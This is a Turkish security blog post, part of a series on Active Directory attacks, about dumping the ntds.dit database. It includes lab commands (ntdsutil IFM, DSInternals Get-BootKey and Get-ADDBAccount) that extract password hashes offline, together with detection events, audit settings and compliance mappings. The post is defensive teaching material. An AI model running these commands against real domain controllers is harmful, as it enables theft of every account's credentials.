Site icon Baki ÇUBUK

Active Directory’yi Ele Geçirme Teknikleri Serisi – Bölüm 10: ntds.dit’in Dökülmesi

Merhaba

Önceki bölümde DCSync tekniğini, yani domain controller’ın replikasyon protokolünü ağ üzerinden istismar etmeyi ele almıştık. Bu bölümde ise aynı hedefe – domaindeki tüm hesapların parola hash’lerine ulaşmaya – tamamen farklı bir yoldan varan bir teknik inceliyoruz: doğrudan domain controller’ın disk üzerindeki veritabanı dosyasını, ntds.dit‘i çalmak. DCSync “sessiz ve ağ tabanlı” bir yaklaşımken, bu teknik “gürültülü ama doğrudan” bir yaklaşımdır – ve genellikle saldırganın domain controller üzerinde zaten yerel yönetici veya eşdeğer bir erişim kazandığı, daha ileri bir aşamada kullanılır.

ntds.dit’in Dökülmesi

ntds.dit (Directory Information Tree), Active Directory’nin tüm veritabanının – kullanıcı hesapları, gruplar, bilgisayar nesneleri ve en kritik olarak parola hash’leri dahil – saklandığı Extensible Storage Engine (ESE) tabanlı dosyadır. Bu dosya varsayılan olarak C:\Windows\NTDS\ntds.dit konumunda bulunur ve domain controller çalışırken sürekli kilitli tutulur; bu yüzden doğrudan kopyalanamaz. Saldırganlar bu kısıtlamayı aşmak için genellikle şu yöntemlerden birini kullanır:

Dosya elde edildikten sonra, SYSTEM hive’ındaki boot key kullanılarak (genellikle secretsdump.py, Impacket, veya DSInternals PowerShell modülü ile) veritabanı ayrıştırılır ve domain’deki her hesabın NTLM hash’i – dahil krbtgt hesabının hash’i – offline olarak elde edilir. Bu teknik, DCSync’in aksine tek bir hesap yerine tüm veritabanını bir kerede ele geçirmeyi mümkün kılar ve genellikle fidye yazılımı (ransomware) operasyonlarının kimlik bilgisi toplama aşamasında görülür. Bu teknik ile DCSync arasındaki temel fark, gereken erişim seviyesidir: DCSync yalnızca doğru delege edilmiş iki extended right’a ihtiyaç duyarken, ntds.dit‘in dökülmesi doğrudan domain controller üzerinde yerel yönetici (veya eşdeğer) erişim gerektirir. Bu yüzden bu teknik genellikle saldırı zincirinin daha ileri bir aşamasında, saldırgan zaten bir domain controller’ı ele geçirdikten sonra kullanılır.

ntds.dit’in Dökülmesini Mitigasyon Etmek

Bu tekniği mitigasyon etmek için aşağıdaki güvenlik kontrolleri uygulanmalıdır:

ntds.dit’in Dökülmesini Tespit Etmek

Bu tekniğin tespiti, hem VSS/ntdsutil kullanımının izlenmesine hem de dosya sistemi erişim denetimine dayanır.

ntds.dit’in Dökülmesini Tespit Eden Olaylar

Event ID Kaynak Açıklama
4688 Domain Controller’lar Yeni bir process oluşturulduğunda üretilir. ntdsutil.exe, vssadmin.exe, diskshadow.exe gibi process’lerin komut satırı argümanlarıyla (özellikle ifm, create shadow gibi anahtar kelimelerle) birlikte çalıştırılması izlenmelidir. Bu event’in komut satırını da kaydedebilmesi için “Include command line in process creation events” GPO ayarının etkinleştirilmesi gerekir.
8222 Domain Controller’lar (VSS operasyonel günlüğü) Bir Volume Shadow Copy oluşturulduğunda üretilir. Domain controller’ın sistem disk bölümü için beklenmedik bir shadow copy oluşturma isteği güçlü bir gösterge olabilir.
4663 Domain Controller’lar Bir dosya nesnesine erişim denetlendiğinde üretilir. ntds.dit dosyasının bulunduğu dizin üzerinde SACL denetimi etkinleştirilmişse, bu dosyaya yapılan okuma erişimlerini yakalar.
5140 / 5145 Domain Controller’lar Bir ağ paylaşımına (network share) erişim yapıldığında üretilir. Uzaktan secretsdump.py gibi araçlarla yapılan erişimlerde, ADMIN$ paylaşımı üzerinden dosya transferi bu eventlerle yakalanabilir.

Lab Uygulaması: Windows Server 2025 Üzerinde ntds.dit’in Dökülmesi

Bu bölümde tekniği kendi lab ortamımızda (W25DC.bakicubuk.local domain controller) baştan sona uyguladık: ntdsutil ile IFM (Install From Media) yöntemiyle ntds.dit‘in bir kopyasını çıkardık, bu kopyadan offline olarak bir hesabın kimlik bilgilerini çözümledik ve son olarak bu işlemin Windows Server 2025’te Event 4688 ile nasıl yakalandığını doğruladık.

Adım 1: IFM (Install From Media) ile ntds.dit’i Çıkarmak

Yönetici olarak açılmış bir PowerShell penceresinden ntdsutil>‘in IFM alt modülünü kullandık:

ntdsutil "ac i ntds" "ifm" "create full C:\temp\ifm" q q

İlk denemede Access is denied hatası alındı; bu, konsolun “Run as Administrator” ile yükseltilmiş (elevated) şekilde açılmamasından kaynaklanıyordu – domain controller üzerinde Domain Admin olmak tek başına yeterli değil, UAC nedeniyle konsolun ayrıca yükseltilmiş olması da gerekiyor. Pencere yükseltilmiş şekilde yeniden açılıp komut tekrar çalıştırıldığında işlem sorunsuz tamamlandı:

Creating snapshot...
Snapshot set {ef603106-1cc7-45ba-90db-df4474e8fa75} generated successfully.
Initiating DEFRAGMENTATION mode...
     Source Database: C:\$SNAP_202609232345_VOLUMEC$\WINDOWS\NTDS\ntds.dit
     Target Database: C:\temp\ifm\Active Directory\ntds.dit
Copying registry files...
Copying C:\temp\ifm\registry\SYSTEM
Copying C:\temp\ifm\registry\SECURITY
IFM media created successfully in C:\temp\ifm

Dikkat çekici bir nokta: ntdsutil yalnızca ntds.dit ve SYSTEM hive’ını değil, SECURITY hive’ını da otomatik olarak kopyaladı. Bu, saldırganın işine yarayan ek bir dosyadır, çünkü LSA secrets (yerel hizmet hesabı parolaları, önbelleğe alınmış kimlik bilgileri gibi materyaller) bu hive üzerinden şifrelenir.

Adım 2: DSInternals ile Offline Kimlik Bilgisi Çözümleme

Çıkarılan dosyalardan, domain controller’a hiç bağlanmadan, tamamen offline olarak hash çıkarmak için DSInternals PowerShell modülünü kullandık. Önce SYSTEM hive’ından boot key’i elde ettik:

$bootKey = Get-BootKey -SystemHivePath "C:\temp\ifm\registry\SYSTEM"

Bu, 5b1ecb5fcf51057effa9b73e16cc343e değerini döndürdü. Bu anahtar, ntds.dit içindeki şifrelenmiş hash’lerin çözülebilmesi için gerekli. Tekniğin gerçek tehlikesi, Get-ADDBAccount‘ın parametresiz çalıştırıldığında domaindeki tüm hesapların (Administrator ve krbtgt dahil) hash’lerini tek seferde dökebilmesidir. Ancak serinin önceki bölümlerindeki yaklaşımla tutarlı kalmak adına, gösterimi Bölüm 9’da (DCSync) oluşturduğumuz dcsyncdemo test hesabıyla sınırlı tuttuk:

Get-ADDBAccount -SamAccountName "dcsyncdemo" -DBPath "C:\temp\ifm\Active Directory\ntds.dit" -BootKey $bootKey

Sonuç, dcsyncdemo hesabının tam kimlik bilgisi setini (NTLM hash, LM hash, Kerberos AES anahtarları, WDigest hash’leri) döndürdü:

NTHash: 9eb530321454a7af33d9661dc3b71acb
LMHash: 42d5e138f178acf55c4fe9dd3831650a

Bu değer, en dikkat çekici bulgumuzdu: NTHash: 9eb530321454a7af33d9661dc3b71acb, Bölüm 9’da aynı hesap için DCSync ile elde ettiğimiz hash ile birebir aynı. Bu, iki köklü farklı tekniğin – biri ağ üzerinden replikasyon protokolünü istismar ederek, diğeri diskteki veritabanını offline olarak analiz ederek – aynı hedefe (parola hash’i) ulaştığını somut olarak kanıtlıyor. Bir organizasyon yalnızca birine karşı savunma kurarsa (örneğin yalnızca DCSync’i tespit edip ntds.dit erişimini izlemezse), saldırgan diğer yoldan aynı sonuca ulaşabilir.

Adım 3: Event 4688 Kanıtını Doğrulamak

ntdsutil.exe‘nin komut satırıyla birlikte loglanabilmesi için önce iki denetim ayarının etkin olması gerekiyor: Process Creation denetim alt kategorisi ve komut satırı loglama registry anahtarı:

auditpol /set /subcategory:"Process Creation" /success:enable
New-Item -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\Audit" -Force | Out-Null
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\Audit" -Name "ProcessCreationIncludeCmdLine_Enabled" -Value 1 -Type DWord

Bu ayarlar yapıldıktan sonra ntdsutil komutu tekrar çalıştırıldı ve Security günlüğü Event 4688 için sorgulandı. İlk sonuçlarda svchost.exe -k swprv (Software Shadow Copy Provider servisi) process’i döndü. Bu, ntdsutil‘in IFM işlemi sırasında arka planda tetiklediği VSS mekanizmasının dolaylı bir izi olsa da, aradığımız asıl kayıt değildi. Sorguyu doğrudan ntdsutil.exe process adına göre daraltınca aranan kayıt bulundu:

Creator Subject:
    Account Name:        Administrator
Process Information:
    New Process Name:    C:\Windows\System32\ntdsutil.exe
    Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    Process Command Line: "C:\WINDOWS\system32\ntdsutil.exe" "ac i ntds" ifm "create full C:\temp\ifm2" q q

 Event 4688 – ntdsutil.exe‘nin, Administrator hesabı tarafından PowerShell üzerinden, IFM modunda ve hedef klasör yoluyla birlikte tam komut satırının loglandığı kayıt.

Bu event, komut satırı loglamasının neden bu kadar değerli olduğunu net biçimde gösteriyor: bir SOC analisti yalnızca “ntdsutil.exe çalıştı” bilgisini değil, tam olarak hangi moda (ifm, create full) ve hangi hedef klasöre (C:\temp\ifm2) yönlendirildiğini de görebiliyor. Ayrıca process zinciri (powershell.exentdsutil.exe) saldırganın PowerShell üzerinden çalıştığını da ortaya koyuyor – bu bilgi, olay müdahalesi sırasında saldırganın hangi diğer PowerShell komutlarını çalıştırmış olabileceğini araştırmak için bir başlangıç noktası sağlar.

Uyumluluk ve Çerçeve Eşlemesi Tablosu

Çerçeve İlgili Kontrol/Madde
PCI DSS Gereksinim 7.1 (Erişim kısıtlaması), Gereksinim 10.2 (Denetim izleri)
HIPAA 164.312(a)(1) – Erişim Kontrolü, 164.312(b) – Denetim Kontrolleri
ISO 27001 A.9.2 (Kullanıcı Erişim Yönetimi), A.12.4 (Günlükleme ve İzleme)
KVKK Madde 12 – Veri Güvenliğine İlişkin Yükümlülükler
TCMB Bilgi Sistemleri Yönetimi Tebliğ – Erişim ve Yetkilendirme Kontrolleri
NIST CSF PR.AC-4 (Erişim yetkilerinin yönetimi), PR.PT-1 (Denetim/log kayıtları)
CIS Controls CIS 5 (Hesap Yönetimi), CIS 8 (Denetim Günlüğü Yönetimi)

MITRE ATT&CK: T1003.003 (OS Credential Dumping: NTDS)

Sonuç

ntds.dit‘in dökülmesi, DCSync’in daha “kaba kuvvet” gerektiren ama aynı derecede yıkıcı kuzenidir – saldırgan bir kez domain controller’a yerel yönetici erişimi kazandığında, domain’in tüm kimlik bilgisi veritabanını tek seferde eline geçirebilir. Bu yüzden mitigasyonun odak noktası, bu erişimi hiç mümkün kılmamaktır: sıkı bir tiered administration modeli, domain controller’ların minimum yüzey alanıyla çalıştırılması ve VSS/ntdsutil gibi meşru araçların kötüye kullanımının izlenmesi.

Serinin bir sonraki bölümünde, bu şekilde ele geçirilen krbtgt hash’inin nasıl bir Golden Ticket’a dönüştürülüp domain’de sınırsız kimlik doğrulama sağladığını inceleyeceğiz.

Exit mobile version